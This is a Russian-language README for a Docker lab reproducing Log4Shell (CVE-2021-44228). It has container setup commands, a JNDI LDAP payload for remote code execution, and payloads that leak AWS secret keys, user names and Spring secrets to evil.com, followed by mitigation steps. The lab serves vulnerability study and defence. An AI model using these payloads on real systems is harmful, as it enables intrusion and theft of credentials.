
Docker-лаборатория Log4Shell (CVE-2021-44228)
Эта Docker-лаборатория использует три компонента:
docker network create log4shell
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec
Важное примечание: Если вы используете Windows PowerShell, замените $(pwd) на ${pwd}.
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"
Откройте уязвимое приложение, введите какие-нибудь ложные тестовые учётные данные и откройте логи контейнера log4shell-vulnapp. Видно, что приложение записывает в лог неудачные попытки входа (например, Неверная попытка входа для имени пользователя 'test'). Из этого небольшого эксперимента становится ясно, что мы контролируем часть строки, записываемой в лог (а именно имя пользователя).
Для удалённого выполнения кода мы можем передать следующую полезную нагрузку:
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}
Удалённое выполнение кода возможно в любой версии Java; однако машины с версиями Java ниже перечисленных [1]:
Это связано с тем, что в более поздних версиях системное свойство JVM com.sun.jndi.ldap.object.trustURLCodebase по умолчанию установлено в false, что отключает загрузку классов через JNDI из произвольных URL-источников кода. Однако полагаться только на новую версию Java как на защиту от этой уязвимости рискованно, поскольку уязвимость всё ещё может быть использована на машинах, содержащих определённые «gadget»-классы в classpath уязвимого приложения, а DNS-запросы могут использоваться для получения такой информации, как переменные окружения.
Существует несколько lookup-подстановок, раскрывающих чувствительную информацию с машины жертвы. Наиболее примечательно использование полезной нагрузки, аналогичной приведённой в [2, 3]:
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}
Примечание: Строка атаки spring lookup требует, чтобы log4j-spring-cloud-config-client был включён в состав приложения. [2]
Лучший способ смягчить эту серьёзную уязвимость — обновить log4j2 до версии >= 2.17.0. Однако можно полностью устранить проблему без обновления, используя два различных метода. Поставщикам, которые не могут обновиться до более новой версии Log4j2, настоятельно рекомендуется использовать оба метода смягчения, указанных ниже [1].
Отключение lookups можно выполнить (глобально), установив переменную окружения LOG4J_FORMAT_MSG_NO_LOOKUPS в true, отредактировав файл /etc/environment и добавив: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]
В качестве альтернативы lookups можно отключить для конкретного запуска JVM, добавив следующий флаг командной строки при запуске уязвимого Java-приложения: ‐Dlog4j2.formatMsgNoLookups=True [1]
При использовании версии log4j ниже 2.10.0 можно удалить класс JndiLookup из любых Java-приложений.
[1] Menashe, S., (2021). All About Log4Shell 0-Day Vulnerability - CVE-2021-44228. [online] JFrog. Доступно по адресу: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Дата обращения: 24 декабря 2021].
[2] Goers, R., (2021). Log4j – Log4j 2 Lookups. [online] logging.apache.org. Доступно по адресу: https://logging.apache.org/log4j/2.x/manual/lookups.html [Дата обращения: 24 декабря 2021].
[3] Oracle. (2021). System Properties. [online] Доступно по адресу: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Дата обращения: 24 декабря 2021].